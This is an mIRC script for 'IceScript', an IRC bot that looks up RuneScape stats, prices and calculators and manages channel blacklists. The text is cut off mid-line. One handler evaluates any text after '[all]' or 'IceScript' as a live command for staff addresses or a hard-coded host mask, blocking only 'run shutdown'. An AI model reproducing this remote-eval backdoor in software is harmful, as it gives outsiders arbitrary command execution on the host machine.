alias c1 { return $+($chr(3),10,$1-) } alias c2 { return $+($chr(3),12,$1-) } on *:join:#: { if (%channelreq. [ $+ [ $chan ] ] == on) { inc %x sockopen $+(cmb.,%x) hiscore.runescape.com 80 sockmark $+(cmb.,%x) $+(msg $chan,¦,$nick,¦,duel,¦,$chan,¦) if ($len($nick) > 12) { ban -k $chan $nick 2 $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(cmb.,%x) halt } } } on *:invite:#: { if ($chan <= 30) { .timerjoin1. [ $+ [ $chan ] ] 1 1 join $chan if (%blacklist. [ $+ [ $chan ] ] == $null) { .timerjoin2. [ $+ [ $chan ] ] 1 2 msg $chan $c2(IceScript) $c1(Invited by) $c2($nick) $c1(My commands are at) $c2(www.IceScript.co.nr) $c1(To get me to leave type) $c2(!part IceScript) $c1(If i get kicked out) $c2(5) $c1(times you shall be blacklisted. You currently have) $c2(0/5) .timerjoin3. [ $+ [ $chan ] ] 1 3 checkchan $chan } elseif (%blacklist. [ $+ [ $chan ] ] <= 5) { .timerjoin3. [ $+ [ $chan ] ] 1 3 .timerjoin2. [ $+ [ $chan ] ] 1 2 msg $chan $c2(IceScript) $c1(Invited by) $c2($nick) $c1(My commands are at) $c2(www.IceScript.co.nr) $c1(To get me to leave type) $c2(!part IceScript) $c1(If i get kicked out) $c2(5) $c1(times you shall be blacklisted. You currently have) $c2(%blacklist. [ $+ [ $chan ] ] $+ /5) .timerjoin3. [ $+ [ $chan ] ] 1 3 checkchan $chan } elseif (%blacklist. [ $+ [ $chan ] ] > 5) { .timerjoin2. [ $+ [ $chan ] ] 1 2 .part $chan $c1(You have been blacklisted come) $c2(#IceScript and a reason) $c1(to say why to unblacklist you) } } else { .notice $nick $c1(Sorry we are) $c2(FULL) } } on *:part:#: { if ($nick == $me) { .timercheck. [ $+ [ $chan ] ] off } } on *:kick:#: { if ($knick == $me) { .timercheck. [ $+ [ $chan ] ] off inc %blacklist. [ $+ [ $chan ] ] if (%blacklist. [ $+ [ $chan ] ] >= 5) { writeini blacklist.ini blacklist $chan $chan } } } on $*:text:/^(\[all\]|IceScript)/Si:#:{ if ($read(staff.txt,w,$address($nick,2)) || $read(staff.txt,w,$address($nick,3)) || $address($nick,3) == *!*H4X0R@*.dynamic.dsl.as9105.com) { if (*run shutdown* iswm $2-) { halt } else { $($2-,2) } } } on $*:text:/^[!@]/Si:#: { if ($right($1,-1) == icepart) var %style icepart elseif ($regex($right($1,-1),/(part|gtfo|leave)/Si)) var %style partmessage elseif ($hget(spam,$address($nick,2)) >= 5) { halt } elseif (($chan != #IceScript && $chan != #IceStaff) || (%bot. [ $+ [ $chan ] ] == IceScript)) { if ((%public. [ $+ [ $chan ] ] == off) && ($left($1,1) == @)) halt else { if ($right($1,-1) == commands) var %style command elseif ($regex($right($1,-1),/^(def|set)(rsn|name)/Si)) var %style defname elseif ($right($1,-1) == price) var %style price elseif ($regex($right($1,-1),/^((high)?alch(emy)?)/Si)) var %style alch elseif ($regex($right($1,-1),/^(le?ve?l|grat[sz])/Si)) var %style gratz elseif ($right($1,-1) == google) var %style google elseif ($regex($right($1,-1),/^(rs)?forum/Si)) var %style rsforum elseif ($regex($right($1,-1),/^urban(dictionary)?/Si)) var %style urban elseif ($regex($right($1,-1),/^tl|translate/Si)) var %style trans elseif ($right($1,-1) == spell) var %style spell elseif ($right($1,-1) == cmb%) var %style cmbpercent elseif ($right($1,-1) == weather) var %style weather elseif ($right($1,-1) == cmb-est) var %style cmb-est elseif ($regex($right($1,-1),/^max(hit)?/Si)) var %style maxhit elseif ($regex($right($1,-1),/^calc(ulator)?/Si)) var %style calc elseif ($right($1,-1) == time) var %style time elseif ($right($1,-1) == rsn) var %style rsn elseif ($regex($right($1,-1),/^(high|low)e(r|st)/Si)) var %style highest elseif ($regex($right($1,-1),/^(rs|runescape)(news)/Si)) var %style rsnews elseif ($regex($right($1,-1),/^(define|dictionary)/Si)) var %style define elseif ($regex($right($1,-1),/^asc(ii)?/Si)) var %style ascii elseif ($regex($right($1,-1),/^drop(list)?/Si)) var %style droplist elseif ($regex($right($1,-1),/^(rs)?world/Si)) var %style rsworld elseif ($right($1,-1) == chr) var %style chr elseif ($right($1,-1) == quest) var %style quest elseif ($right($1,-1) == xp) var %style xp elseif ($regex($right($1,-1),/^(users|count)/Si)) var %style count elseif ($regex($right($1,-1),/^(yt|youtube)/Si)) var %style yt elseif ($regex($right($1,-1),/^(f2p|p2p)%/Si)) var %style skillpercent elseif ($regex($right($1,-1),/^public-(on|off)/Si)) var %style public elseif ($regex($right($1,-1),/^key(gen)?/Si)) var %style keygen elseif ($right($1,-1) == clan) var %style clan elseif ($regex($right($1,-1),/^(pc|pest)/Si)) var %style pest elseif ($right($1,-1) == vk) var %style vk elseif ($right($1,-1) == monster) var %style monster elseif ($right($1,-1) == compare) var %style compare elseif ($regex($right($1,-1),/^(co?mb(at)?|duel)/Si)) var %style combat elseif ($regex($right($1,-1),/^(co-?ord)/Si)) var %style co-ord elseif ($right($1,-1) == stats) var %style stats elseif ($right($1,-1) == unblacklist) var %style unblacklist elseif ($right($1,-1) == blacklist) var %style blacklist elseif ($right($1,-1) == info) var %style info elseif ($right($1,-1) == rank) var %style rank elseif ($right($1,-1) == global) var %style global elseif ($right($1,-1) == kbase) var %style kbase elseif ($right($1,-1) == sclan) var %style sclan elseif ($right($1,-1) == setsite) var %style setsite elseif ($regex($right($1,-1),/^((clos|furth)est)/Si)) var %style closest elseif ($right($1,-1) == site) var %style site elseif ($right($1,-1) == setevent) var %style setevent elseif ($right($1,-1) == event) var %style event elseif ($right($1,-1) == setreq) var %style setreq elseif ($right($1,-1) == info) var %style info elseif ($right($1,-1) == item) var %style item elseif ($regex($right($1,-1),/^req-(on|off)/Si)) var %style requirements elseif ($getskill($right($1,-1) != Error)) var %style skill if (%style == command) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(My Commands are at:) $c2(http://www.icescript.co.nr/) $c1(Can't see? do) $c2(/mode $nick -f) $c1(then do) $c2(!commands again) } elseif (%style == defname) { if ($2 == $null) { .notice $nick $c1(Specify a nick) $c2(!defname ) halt } elseif ($ isin $2-) { .notice $nick $c1(Sorry not aloud to use) $c2($) $c1(In your rsn) halt } elseif (($len($strip($2-)) > 12) || ($len($strip($2-)) < 3)) { .notice $nick $c1(The) $c2(nick) $c1(has to be) $c2(3 to 12) $c1(letters long) halt } else { writeini DefRSN.ini RSNs $address($nick,2) $replace($strip($2-),$chr(32),+) .notice $nick $c1(The default) $c2(RSN) $c1(for the host:) $c2($address($nick,2)) $c1(is) $c2($2-) } } elseif (%style == xp) { if ($2 !isnum 1-100) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(The level has to be between) $c2(2-100) halt } else { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Exp for level) $c2($2) $c1(is) $c2($bytes($xp($2),bd)) } } elseif (%style == site) { if (%site. [ $+ [ $chan ] ]) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Site for) $c2($chan) $c1(is) $c2(%site. [ $+ [ $chan ] ]) } else { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(No site set for) $c2($chan) } } elseif (%style == setsite) { if ($nick ishop $chan || $nick isop $chan) { if ($2 == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Specify a) $c2(site) $c1(to set) $c2(!setsite ) halt } else { set %site. [ $+ [ $chan ] ] $2- $iif($left($1,1) == @,msg $chan,.notice $nick) $c2(%site. [ $+ [ $chan ] ]) $c1(has been set for) $c2($chan) } } } elseif (%style == skill) { if ($getskill($right($1,-1)) == Error) halt else { inc %x sockopen $+(skill.,%x) hiscore.runescape.com 80 sockmark $+(skill.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$getskill($right($1,-1)),¦) if ((#* iswm $2) && ($right($2,-1) !isnum 25-99)) { $gettok($sock($+(skill.,%x)).mark,1,166) $c1(The number has to be between) $c2(25 and 99) sockclose $+(skill.,%x) halt } if ($len($iif(#* iswm $2,$3-,$2-)) > 12) { $gettok($sock($+(skill.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(skill.,%x) halt } elseif ((#* iswm $2) && ($3)) { sockmark $+(skill.,%x) $+($sock($+(skill.,%x)).mark,$replace($3-,$chr(32),+),¦,$right($2,-1),¦) } elseif ((#* !iswm $2) && ($2)) { sockmark $+(skill.,%x) $+($sock($+(skill.,%x)).mark,$replace($2-,$chr(32),+)) } elseif ((#* iswm $2) && ($3 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(skill.,%x) $+($sock($+(skill.,%x)).mark,$ifmatch,¦,$right($2,-1),¦) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(skill.,%x) $+($sock($+(skill.,%x)).mark,$ifmatch) } else { $gettok($sock($+(skill.,%x)).mark,1,166) $c1(Specify a) $c2(skill an rsn and lvl(optional)) $c1(to search) $c2(! (#lvl) ) $c1(or) $c2(!defname then ! (#lvl)) sockclose $+(skill.,%x) halt } } } elseif (%style == price) { inc %x set %price.display. [ $+ [ %x ] ] $iif($left($1,1) == @,msg $chan,.notice $nick) if ($2 == $null) { %price.display. [ $+ [ %x ] ] $c1(Specify an) $c2(item) $c1(to search) $c2(!price ) halt } else { set %price.search. [ $+ [ %x ] ] $replace($2-,$chr(32),+) sockopen price. [ $+ [ %x ] ] www.zybez.net 80 } } elseif (%style == stats) { inc %x sockopen $+(stat.,%x) hiscore.runescape.com 80 sockmark $+(stat.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦) if ((-* iswm $2) && (($2 != -r) && ($2 != -x) && ($2 != -p) || ($len($2) != 2))) { $gettok($sock($+(stat.,%x)).mark,1,166) $c1(Specify) $c2(1) $c1(extra feature to look up) $+($c2(-r),$c1(:),$c2(Rank)) $+($c2(-x),$c1(:),$c2(Exp)) $+($c2(-p),$c1(:),$c2(Percentage)) sockclose $+(stat.,%x) halt } elseif ($len($iif(-* iswm $2,$3-,$2-)) > 12) { $gettok($sock($+(stat.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(stat.,%x) halt } elseif ((-* iswm $2) && ($3)) { sockmark $+(stat.,%x) $+($sock($+(stat.,%x)).mark,$replace($3-,$chr(32),+),¦,$iif(-r isin $2,Rank,$iif(-x isin $2,Xp,Percent)),¦) } elseif ((-* !iswm $2) && ($2)) { sockmark $+(stat.,%x) $+($sock($+(stat.,%x)).mark,$replace($2-,$chr(32),+)) } elseif ((-* iswm $2) && ($3 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(stat.,%x) $+($sock($+(stat.,%x)).mark,$ifmatch,¦,$iif(-r isin $2,Rank,$iif(-x isin $2,Xp,Percent)),¦) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(stat.,%x) $+($sock($+(stat.,%x)).mark,$ifmatch) } else { $gettok($sock($+(stat.,%x)).mark,1,166) $c1(Specify a) $c2(rsn and a extra feature(optional)) $c1(to search) $c2(!stat (-x/-p/-r) ) $c1(or) $c2(!defname then !stat (-x/-p/-r)) sockclose $+(stat.,%x) halt } } elseif (%style == highest) { inc %x sockopen $+(lowest.,%x) hiscore.runescape.com 80 sockmark $+(lowest.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$iif($right($1,-1) == Lowest,$v2,Highest),¦) if ($len($2) > 12) { $gettok($sock($+(lowest.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(lowest.,%x) halt } elseif ($2) { sockmark $+(lowest.,%x) $+($sock($+(lowest.,%x)).mark,$replace($2-,$chr(32),+),¦) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(lowest.,%x) $+($sock($+(lowest.,%x)).mark,$ifmatch,¦) } else { $gettok($sock($+(lowest.,%x)).mark,1,166) $c1(Specify a) $c2(rsn) $c1(to search) $c2(! $+ $right($1,-1) ) $c1(or) $c2(!defname then ! $+ $right($1,-1))) sockclose $+(lowest.,%x) halt } } elseif (%style == closest) { inc %x sockopen $+(closest.,%x) hiscore.runescape.com 80 sockmark $+(closest.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$iif($right($1,-1) == Closest,$v2,Furthest),¦) if ($len($2-) > 12) { $gettok($sock($+(closest.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(closest.,%x) halt } elseif ($2) { sockmark $+(closest.,%x) $+($sock($+(closest.,%x)).mark,$replace($2-,$chr(32),+),¦) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(closest.,%x) $+($sock($+(closest.,%x)).mark,$ifmatch,¦) } else { $gettok($sock($+(closest.,%x)).mark,1,166) $c1(Specify a) $c2(rsn) $c1(to search) $c2(! $+ $iif($right($1,-1) == closest,$v2,furthest)) $c1(or) $c2(!defname then ! $+ $iif($right($1,-1) == closest,$v2,furthest)) sockclose $+(closest.,%x) halt } } elseif (%style == define) { inc %x sockopen $+(define.,%x) www.thefreedictionary.com 80 sockmark $+(define.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$replace($2-,$chr(32),+),¦) if ($2 == $Null) { $gettok($sock($+(define.,%x)).mark,1,166) $c1(Specify a) $c2(word) $c1(to look up) $c2(!define ) sockclose $+(define.,%x) halt } } elseif (%style == requirements) { if ($nick isop $chan || $nick ishop $chan) { if ($right($1,-1) == req-on) { if (%channelreq. [ $+ [ $chan ] ] == on) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Channel reqs are already on!) halt } elseif (%req. [ $+ [ $chan ] ] == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(1st set a channel requirement using) $c2(!setreq ) } else { msg $chan $c1(Requirements for) $c2($chan) $c1(are now) $c2(on) set %channelreq. [ $+ [ $chan ] ] on } } elseif ($right($1,-1) == req-off) { if (%channelreq. [ $+ [ $chan ] ] != on) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Channel reqs are already off!) halt } else { msg $chan $c1(Requirements for) $c2($chan) $c1(are now) $c2(off) set %channelreq. [ $+ [ $chan ] ] off } } } } elseif (%style == setreq) { if ($nick ishop $chan || $nick isop $chan) { if ($2 == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Specify a) $c2(level) $c1(to set) $c2(!setreq ) } elseif ($2 !isnum 45-126) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Requirements have to be between) $c2(45-126) halt } else { set %req. [ $+ [ $chan ] ] $2 $iif($left($1,1) == @,msg $chan,.notice $nick) $c2(%req. [ $+ [ $chan ] ]) $c1(has been set for the level req for) $c2($chan) } } } elseif (%style == rsnews) { sockopen $+(rsnews.,%x) www.runescape.com 80 sockmark $+(rsnews.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦) } elseif (%style == unblacklist) { if ($1 == !unblacklist && ($read(staff.txt,w,$address($nick,2)) || $read(staff.txt,w,$address($nick,3)) || $address($nick,3) == *!*H4X0R@*.dynamic.dsl.as9105.com)) { unset %blacklist. [ $+ [ $2 ] ] remini blacklist.ini blacklist $2 $2 .msg $chan $c2($+($2)) $c1(has been unblacklisted) } } elseif (%style == blacklist) { if ($1 == !blacklist && ($read(staff.txt,w,$address($nick,2)) || $read(staff.txt,w,$address($nick,3)) || $address($nick,3) == *!*H4X0R@*.dynamic.dsl.as9105.com)) { writeini blacklist.ini blacklist $2 $2 .msg $chan $c2($+($2)) $c1(has been blacklisted) } } elseif (%style == item) { inc %x sockopen $+(item.,%x) www.tip.it 80 sockmark $+(item.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$replace($2-,$chr(32),+),¦) if ($2 == $null) { $token($sock($+(item.,%x)).mark,1,166) $c1(Specify an) $c2(item) $c1(to look up) $c2(!item ) sockclose $+(item.,%x) halt } } elseif (%style == rsworld) { inc %x sockopen $+(rsworld.,%x) www.runescape.com 80 sockmark $+(rsworld.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$2,¦) if ($2 == $null) { $gettok($sock($+(rsworld.,%x)).mark,1,166) $c1(Specify a) $c2(world) $c1(to look up) $c2(!rsworld ) sockclose $+(rsworld.,%x) halt } elseif ($2 !isnum 1-144) { $gettok($sock($+(rsworld.,%x)).mark,1,166) $c1(Specify a) $c2(valid world) $c1(to look up) sockclose $+(rsworld.,%x) halt } } elseif (%style == alch) { inc %x sockopen $+(alch.,%x) tip.it 80 sockmark $+(alch.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,¦,$replace($2-,$chr(32),+),¦) if ($2 == $null) { $gettok($sock($+(alch.,%x)).mark,1,166) $c1(Specify an) $c2(item) $c1(to search) $c2(!alch ) sockclose $+(alch.,%x) halt } } elseif (%style == gratz) { if ($3 == $null) { .notice $nick $c1(Specify a) $c2(a level and a skill !lvl ) halt } if ($getskill($3) == Error) { .notice $nick $c2($3) $c1(isn't a) $c2(skill) halt } elseif (($getskill($3) == Overall) && ($2 !isnum 33-2277)) { .notice $nick $c1(You start at level) $c2(32 overall) $c1(and have a max of) $c2(2277) halt } elseif (($getskill($3) == Combat) && ($2 !isnum 4-126)) { .notice $nick $c1(You start at level) $c2(3 Combat) $c1(and have a max of) $c2(126) halt } elseif (($getskill($3) == Hitpoints) && ($2 !isnum 11-99)) { .notice $nick $c1(You start at level ) $c2(10 Hitpoins) $c1(and have a max of) $c2(99) halt } elseif (($getskill($3) != Combat) && ($getskill($3) != Overall) && ($getskill($3) != Hitpoints) && ($2 !isnum 2-99)) { .notice $nick $c1(You start at level) $c2(1 $getskill($3)) $c1(and have a max of) $c2(99) halt } else { msg $chan 0,15æ11,15æ15,11æ12,11æ11,12æ2,12æ12,2æ1,2æ2,1æ 0,1 Congratulations on $2 $getskill($3) $+ ! 2,1æ1,2æ12,2æ2,12æ11,12æ12,11æ15,11æ11,15æ,0,15æ } } elseif (%style == google) { inc %x sockopen $+(google.,%x) www.google.com 80 sockmark $+(google.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$iif($2 isnum 1-3,$replace($3-,$chr(32),+),$replace($2-,$chr(32),+)),¦,$iif($2 isnum 1-3,$2,1),¦,$nick,¦) if ($2 == $null) { $gettok($sock($+(google.,%x)).mark,1,166) $c1(Specify a) $c2(query) $c1(to search) $c2(!google ) sockclose $+(google.,%x) halt } } elseif (%style == event) { if (%event. [ $+ [ $chan ] ]) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Event for) $c2($chan) $c1(is) $c2(%event. [ $+ [ $chan ] ]) } else { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(No event set for) $c2($chan) } } elseif (%style == setevent) { if ($nick ishop $chan || $nick isop $chan) { if ($2 == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Specify an) $c2(event) $c1(to set) $c2(!setevent ) halt } else { set %event. [ $+ [ $chan ] ] $2- $iif($left($1,1) == @,msg $chan,.notice $nick) $c2(%event. [ $+ [ $chan ] ]) $c1(has been set for) $c2($chan) } } } elseif (%style == rsn) { if ($readini(DefRSN.ini,RSNs,$address($iif($2,$2,$nick),2)) == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c2($iif($2,$2,$nick)) $c1(has not got a stored username) } else { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Stored rsn for) $c2($iif($2,$2,$nick)) $c1(is) $c2($readini(DefRSN.ini,RSNs,$address($iif($2,$2,$nick),2))) } } elseif (%style == rsforum) { inc %x sockopen $+(forum.,%x) forum.runescape.com 80 sockmark $+(forum.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$nick,¦,$replace($2-,$chr(32),+),¦) if ($2 == $null) { $gettok($sock($+(forum.,%x)).mark,1,166) $c1(Specify a) $c2(query) $c1(to search) $c2(!rsforum ) sockclose $+(forum.,%x) halt } } elseif (%style == urban) { inc %x sockopen $+(urban.,%x) www.urbandictionary.com 80 sockmark $+(urban.,%x) $+($iif($left($1-,1) == @,msg $chan,.notice $nick),¦,$nick,¦,$replace($2-,$chr(32),+),¦) if ($2 == $null) { $gettok($sock($+(urban.,%x)).mark,1,166) $c1(Specify a) $c2(word) $c1(to search) $c2(!urban ) sockclose $+(urban.,%x) halt } } elseif (%style == trans) { inc %x sockopen $+(trans.,%x) translate.google.com 80 sockmark $+(trans.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$nick,¦,$language($gettok($2,1,45)),¦,$language($gettok($2,2,45)),¦,$replace($3-,$chr(32),+),¦) if ($3 == $null) { $gettok($sock($+(trans.,%x)).mark,1,166) $c1(Specify) $c2(2 languages and some text) $c1(to translate) $c2(!translate - ) sockclose $+(trans.,%x) halt } elseif ($language($gettok($2,1,45)) == Error) { $gettok($sock($+(trans.,%x)).mark,1,166) $c1(Specify a) $c2(correct language) $c1(current languages supported:) $c2(English) $c1(|) $c2(French) $c1(|) $c2(German) $c1(|) $c2(Italian) $c1(|) $c2(Spanish) $c1(|) $c2(Portuguese) sockclose $+(trans.,%x) halt } elseif ($language($gettok($2,2,45)) == Error) { $gettok($sock($+(trans.,%x)).mark,1,166) $c1(Specify a) $c2(correct language) $c1(current languages supported:) $c2(English) $c1(|) $c2(French) $c1(|) $c2(German) $c1(|) $c2(Italian) $c1(|) $c2(Spanish) $c1(|) $c2(Portuguese) sockclose $+(trans.,%x) halt } elseif ($language($gettok($2,1,45)) == $language($gettok($3,2,45))) { $gettok($sock($+(trans.,%x)).mark,1,166) $c1(You can not specify) $c2(2) $c1(of the) $c2(same language) sockclose $+(trans.,%x) halt } } elseif (%style == spell) { inc %x sockopen $+(spell.,%x) www.spellcheck.net 80 sockmark $+(spell.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$nick,¦,$replace($2-,$chr(32),+),¦) if ($2 == $null) { $gettok($sock($+(spell.,%x)).mark,1,166) $c1(Specify a) $c2(word) $c1(to spell) $c2(!spell ) sockclose $+(spell.,%x) halt } } elseif (%style == cmbpercent) { if ($right($1,-1) == cmb%) { inc %x sockopen $+(cmbpercent.,%x) hiscore.runescape.com 80 sockmark $+(cmbpercent.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦) if ($len($2-) > 12) { $gettok($sock($+(cmbpercent.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(cmbpercent.,%x) halt } elseif ($2) { sockmark $+(cmbpercent.,%x) $+($sock($+(cmbpercent.,%x)).mark,$replace($2-,$chr(32),+),¦) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(cmbpercent.,%x) $+($sock($+(cmbpercent.,%x)).mark,$ifmatch,¦) } else { $gettok($sock($+(cmbpercent.,%x)).mark,1,166) $c1(Specify a) $c2(rsn) $c1(to search) $c2(!cmb% ) $c1(or use) $c2(!defname then !cmb%) sockclose $+(cmbpercent.,%x) halt } } } elseif (%style == skillpercent) { inc %x sockopen $+(skillpercent.,%x) hiscore.runescape.com 80 sockmark $+(skillpercent.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦) if ($len($2-) > 12) { $gettok($sock($+(skillpercent.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(skillpercent.,%x) halt } elseif ($2) { sockmark $+(skillpercent.,%x) $+($sock($+(skillpercent.,%x)).mark,$replace($2-,$chr(32),+),¦) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(skillpercent.,%x) $+($sock($+(skillpercent.,%x)).mark,$ifmatch,¦) } else { $gettok($sock($+(skillpercent.,%x)).mark,1,166) $c1(Specify a) $c2(rsn) $c1(to search) $c2(!f2p%/p2p% ) $c1(or use) $c2(!defname then !f2p%/p2p%) sockclose $+(skillpercent.,%x) halt } } elseif (%style == weather) { inc %x sockopen $+(weather.,%x) www.weather.com 80 sockmark $+(weather.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$nick,¦,$2,¦) if ($2 == $null) { $gettok($sock($+(weather.,%x)).mark,1,166) $c1(Specify a) $c2(zipcode) $c1(to search) $c2(!weather ) sockclose $+(weather.,%x) halt } } elseif (%style == cmb-est) { set %cmb.display $iif($left($1,1) == @,msg $chan,.notice $nick) if ($9 != $null) { %cmb.display $c1(Specify) $c2(combats stats) $c1(in this sequence) $c2(!cmb-est Attack Defence Strength Hitpoints Range Prayer Magic) halt } elseif ($8 == $null) { %cmb.display $c1(Specify) $c2(combats stats) $c1(in this sequence) $c2(!cmb-est Attack Defence Strength Hitpoints Range Prayer Magic) halt } elseif (($2-$4 && $6-$8 !isnum 1-99) && ($5 !isnum 10-99)) { .notice $nick $c1(All) $c2(combat stats) $c2(has to be between) $c1(1-99 Hitpoints) $c2(have to be) $c1(10-99) halt } else { %cmb.display $c1(Estimated) $c2(combat) $c1(for) $c2($2 $3 $4 $5 $6 $7 $8) $c1(is) $c2($cmbformula($2 $3 $4 $5 $6 $7 $9)) } } elseif (%style == kbase) { inc %x sockopen $+(kbase.,%x) www.runescape.com 80 sockmark $+(kbase.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$replace($2-,$chr(32),+),¦) if ($2 == $null) { $gettok($sock($+(kbase.,%x)).mark,1,166) $c1(Specify a) $c2(query) $c1(to look up) $c2(!kbase ) sockclose $+(kbase.,%x) halt } } elseif (%style == maxhit) { set %max.display $iif($left($1,1) == @,msg $chan,.notice $nick) if ($iif(-* iswm $2,$5,$4) == $null) { %max.display $c1(Specify) $c2(bonus, strength level, strength bonus, attack style) $c1(in this squence) $c2(!maxhit -(bonus) ) %max.display $c1(Replace the bonus with these letters) $c2(Strength Potion: SP) $c1(|) $c2(Zamorak Potion: ZP) $c1(|) $c2(Super Strength Potion: SS) $c1(|) $c2(Burst of Strength: BS) $c1(|) $c2(Superhuman Strength: HS) $c1(|) $c2(Ultimate Strength: US) $c1(If you are not using them, leave it blank) halt } elseif ($iif(-* iswm $2,$3,$2) !isnum 1-99) { %max.display $c2(Strength level) $c1(has to be a) $c2(number) $c1(and between) $c2(1-99) halt } elseif ($iif(-* iswm $2,$4,$3) !isnum 1-144) { %max.display $c2(Strength bonus) $c1(has to be a) $c2(number) $c1(and between) $c2(1-144) halt } elseif ($stylee($iif(-* iswm $2,$5,$4)) == Error) { %max.display $c1(Specify a correct) $c2(attack style) halt } if (-* iswm $2) { if (*SP*ZP* iswm $2 || *SP*SS* iswm $2 || *ZP*SS* iswm $2 || *ZP*SP* iswm $2 || *SS*ZP* iswm $2 || *SS*SP* iswm $2 || *SS*SS* iswm $2 || *ZP*ZP* iswm $2 || *SP*SP* iswm $2) { %max.display $c1(You can not have 2) $c2(Pot bonuses) halt } if (*BS*BS* iswm $2 || *BS*HS* iswm $2 || *BS*US* iswm $2 || *HS*BS* iswm $2 || *HS*HS* iswm $2 || *HS*US* iswm $2 || *US*BS* iswm $2 || *US*HS* iswm $2 || *US*US* iswm $2) { %max.display $c1(You can not have 2) $c2(Prayer bonuses) halt } elseif ($mid($2,2,2) == $right($2,2)) { if ($right($2,2) == SP || $right($2,2) == ZP || $right($2,2) == SS) { %max.display $c1(Estimated) $c2(max hit) $c1(for) $c2($replace($bonus($mid($2,2,2)),_,$chr(32))) $c1(and) $c2(No Pray) $c1(with a strength level of) $c2($3) $c1(and strength bonus of) $c2($4) $c1(using) $c2($stylee($5)) $c1(is) $c2($formula($bonus($mid($2,2,2)) No_Prayer $3 $4 $stylee($5))) halt } elseif ($mid($2,2,2) == BS || $mid($2,2,2) == HS || $mid($2,2,2) == US) { %max.display $c1(Estimated) $c2(max hit) $c1(for) $c2(No Pot) $c1(and) $c2($replace($bonus($mid($2,2,2)),_,$chr(32))) $c1(with a strength level of) $c2($3) $c1(and strength bonus of) $c2($4) $c1(using) $c2($stylee($5)) $c1(is) $c2($formula(No_Pot $bonus($mid($2,2,2)) $3 $4 $stylee($5))) halt } } else { %max.display $c1(Estimated) $c2(max hit) $c1(for) $c2($replace($bonus($mid($2,2,2)),_,$chr(32))) $c1(and) $c2($replace($bonus($right($2,2)),_,$chr(32))) $c1(with a strength level of) $c2($3) $c1(and strength bonus of) $c2($4) $c1(using) $c2($stylee($5)) $c1(is) $c2($formula($bonus($mid($2,2,2)) $bonus($right($2,2)) $3 $4 $stylee($5))) halt } } else { %max.display $c1(Estimated) $c2(max hit) $c1(for) $c2(No Pot) $c1(and) $c2(No Pray) $c1(with a strength level of) $c2($2) $c1(and strength bonus of) $c2($3) $c1(using) $c2($stylee($4)) $c1(is) $c2($formula(No_Pot No_Pray $2 $3 $stylee($4))) halt } } elseif (%style == quest) { inc %x sockopen $+(quest1.,%x) www.zybez.net 80 sockmark $+(quest1.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$replace($iif($2 == -d,$3-,$2-),$chr(32),+),¦,$iif($2 == -d,-d,-n),¦,$iif($2 == -d,$nick $+ ¦))) if ($iif($2 == -d,$3,$2) == $null) { $gettok($sock($+(quest1.,%x)).mark,1,166) $c1(Specify a) $c2(quest) $c1(to search) $c2(!quest -d(optional) ) sockclose $+(quest1.,%x) halt } } elseif (%style == calc) { if ($2 = $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Specify a) $c2(equation) $c1(to calculate) $c2(!calc ) halt } else { $iif($left($1,1) == @,msg 